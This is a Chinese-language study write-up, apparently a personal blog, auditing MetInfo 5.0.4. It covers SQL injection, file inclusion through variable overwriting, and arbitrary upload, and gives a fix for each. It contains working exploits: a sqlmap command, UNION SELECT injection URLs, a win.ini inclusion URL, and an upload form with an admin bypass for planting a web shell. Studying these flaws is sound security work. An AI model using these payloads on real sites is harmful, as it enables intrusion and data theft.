background

某次线下赛遇见的,然后就想着复盘一下。版本是metinfo5.0.4,我找这个版本找了老一会,后面别人跟我说5.0.4这个版本是4.0升级上去的,所以先装4.0再装5.0.4。

https://www.metinfo.cn/faq/1519.html

此文没任何技术含量,我太菜了,就仅仅是做个学习记录。

前台sql注入漏洞

sqlmap命令

python sqlmap.py -u "http://metinfo.com/about/show.php?lang=cn&id=15" --dbs --batch

exp

lang=cn&id=-2506 UNION ALL SELECT 68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,CONCAT(0x7170706b71,0x6a58425864747852627a625169766a5643464650676e7170775871566e59585279484263744f496c,0x71716b7871),68,68,68,68,68,68--

mysql开启日志记录

SHOW VARIABLES LIKE 'general_log%' //查看日志是否开启和保存位置
show variables like 'log_output'; //查看日志以什么样的形式储存 log_output='FILE' 表示将日志存入文件,默认值是FILE 
log_output='TABLE'表示将日志存入数据库,这样日志信息就会被写入到mysql.general_log表中
SET GLOBAL general_log = 'ON'; //打开日志
TRUNCATE TABLE mysql.general_log; //清除所有日志

代码审计

查看show.php

image-20231205163808853

get_one()是执行sql查询的函数

image-20231205184802143

okinfo相当于一个输出函数

image-20231205184853766

这里的id既可get传也可以POST传,但我没找到在哪里接收的,我全局搜索了$_GET[$_POST[$_REQUEST[都没有发现相关的信息,能力不行,看来还是得学会动态调试。

来看具体逻辑,在数据库里查了东西之后看isshow字段是否为,假的直接404

image-20231206140657345

然后就是些用三元运算符赋值之类的东西,又新包含了个文件

image-20231206163401101

contentshow这些函数就是用来做输出的

image-20231206163546375

image-20231206163654484

很简单的一个注入,没啥过滤的点,那为啥我要写那么多呢?是我照着sqlmap的东西就做不出来

这样子理论上没任何问题啊

http://metinfo.com/about/show.php?lang=cn&id=-2506 UNION ALL SELECT 68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68--

image-20231206164056513

后面发现回显的地方在引入的js文件名了

http://metinfo.com/about/show.php?lang=cn&id=-2506 UNION ALL SELECT 68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,CONCAT(0x7171787071,0x4977416b765766524441496769454749566d687254576e74504f69556e76687156444465624e4b42,0x716b787871),68,68,68,68,68,68--

image-20231206170052395

这个字段对应的就是授权访问的信息

image-20231206170252735

所以要为0才行,不能直接用数字,用NULL也是可以的,所以以后注入union select 1,2,3的时候尽量先用NULL试水

image-20231206170357249

这一部分对应的后端代码

image-20231206171310390

image-20231206171325144

但是用函数查东西是没啥问题的

image-20231206170512229

主页明明有回显,所以

http://metinfo.com/about/show.php?lang=cn&id=-2506 UNION ALL SELECT 68,68,68,68,68,68,68,68,68,68,68,68,68,(select user()),68,68,68,68,68,68,(select user()),68,68,68,68,68,68--

image-20231206170705413

漏洞修复

这个就很简单了,这个参数肯定是数字,转int就行了

$id=intval($id);

image-20231206171500186

搞定

image-20231206171602518

前台任意文件包含

exp

http://metinfo.com/about/index.php?fmodule=7&module=c:\\windows\\win.ini

image-20231206172038997

代码审计

直接到页面把变量输出,看看是啥值

image-20231206172743167

image-20231206172906789

包含了show.php,所以上面的注入也可以在这个页面打

image-20231206173047147

漏洞产生点在

index.phprequire_once '../include/module.php'require_once 'common.inc.php'

foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
foreach($$_request as $_key => $_value) {
$_key{0} != '_' && $$_key = daddslashes($_value);
}
}

这段代码的意思就是注册所有变量,把这三个超全局变量全部注册成普通变量,举个例子:

在这里$flag已经写死了

image-20231206175845952

但是由于存在注册变量的那段代码,我们可以注册个flag变量来达到覆盖原先变量的效果

image-20231206180101939

但是在这里并不能直接修改$module的值来达到变量覆盖的效果,因为$module是在module.php中生成的

image-20231206180632116

而存在漏洞的common.inc.php在一开始就被包含执行了

也就是说这里我们传入的$module确实写入了,但是module.php又重新赋值了

image-20231206180802471

这里在最后再注册一次变量

image-20231206181150131

就可以了,这里证明上面的推断是正确的

image-20231206181210987

回到这个例子中,我们只需要module.php文件不对$module函数进行操作就行了

$fmodule不等于7时就会进行操作,那么我们让$fmodule等于7就行了,就不会执行这段操作了

image-20231207092939601

最终poc

http://metinfo.com/about/index.php?fmodule=7&module=c:/windows/win.ini

漏洞修复

不知道怎么修最好,我这里直接给他写死了,但是不知道会不会影响其他业务之类的,或者在上面加个过滤去过滤fmodulemodule都是可以的

image-20231207093820717

前台任意文件上传

poc

 <form  action="http:/IP/admin/include/uploadify.php?metinfo_admin_id=aaa&metinfo_admin_pass=bbb&met_admin_table=met_admin_table%23&type=upfile&met_file_format=jpg|pphphp"
enctype="multipart/form-data" method="post">
<input type="file" name="Filedata">
<input type="submit">
</form>

直接传马即可,关于这个表单我记住了,以后POST表单我也都记住了是method不是而不是metmod,写成metmod是没啥作用的,还有这个name也要是Filedata。可能这是个很蠢的问题,但是以前的我真不知道,我以为随便拿个表单就能传,确实是底子不扎实。

代码审计

这跟上面一样的,又是变量覆盖

image-20231207101539300

可以自由注册变量

image-20231207101637749

这里首先要符合这个条件,不然就直接die了

image-20231207103531782

追踪一下这两个变量,看样子是从session里面获取的

image-20231207103641970

image-20231207103636999

正常来说这里是死的,我们干预不了的

image-20231207103820153

但是有变量注册的话我们可以注册变量

image-20231207104028559

接着这里是对用户身份的校验,不通过就直接die了

image-20231207105301879

这里是管理员表的结构

image-20231207104237378

这里的$met_admin_table也是我们可以控制的,所以我们只要使这个语句结果为真就行了,随便查一个表然后截断就行了。

http://metinfo.com/admin/include/uploadify.php?metinfo_admin_id=14&metinfo_admin_pass=2&met_admin_table=mysql.user%23

image-20231207105927203

接下来就是上传文件了,这里都写了注释,很明了,这里是直接调用了upfile这个类中的upload方法

image-20231207110723541

找这个类,就在upfile.class.php

image-20231207110839822

找upload方法

image-20231207111426192

跟copyfile,可以看到这里过滤了一些脚本文件名称,但只过滤一次,双写一下就行了

image-20231207144516613

得exp

http://metinfo.com/admin/include/uploadify.php?metinfo_admin_id=aaa&metinfo_admin_pass=bbb&met_admin_table=met_admin_table%23&type=upfile&met_file_format=jpg|pphphp

这里的方法都是可以用的,都是调用相同的函数处理的

image-20231207145834587

 <form  action="http://metinfo.com/admin/include/uploadify.php?metinfo_admin_id=aaa&metinfo_admin_pass=bbb&met_admin_table=met_admin_table%23&type=metico&met_file_format=jpg|pphphp"
enctype="multipart/form-data" method="post">
<input type="file" name="Filedata">
<input type="submit">
</form>

没问题

image-20231207145950103

漏洞修复

这个好办,直接限制死后缀就行,不管他怎么处理

image-20231207155617932

后面的洞不管,之前在前面截胡了,不是白名单就die

if((strtolower( $this->ext) == "jpg" || strtolower( $this->ext ) == "jpeg" || strtolower( $this->ext ) == "png")){
echo '通过';
}else{
die("只允许jpg,jpeg,png文件");
}

这样子应该是没什么问题了,当然,变量覆盖依旧存在

image-20231207155955432

参考链接

https://www.ab62.cn/article/30201.html

https://zhuanlan.zhihu.com/p/108480120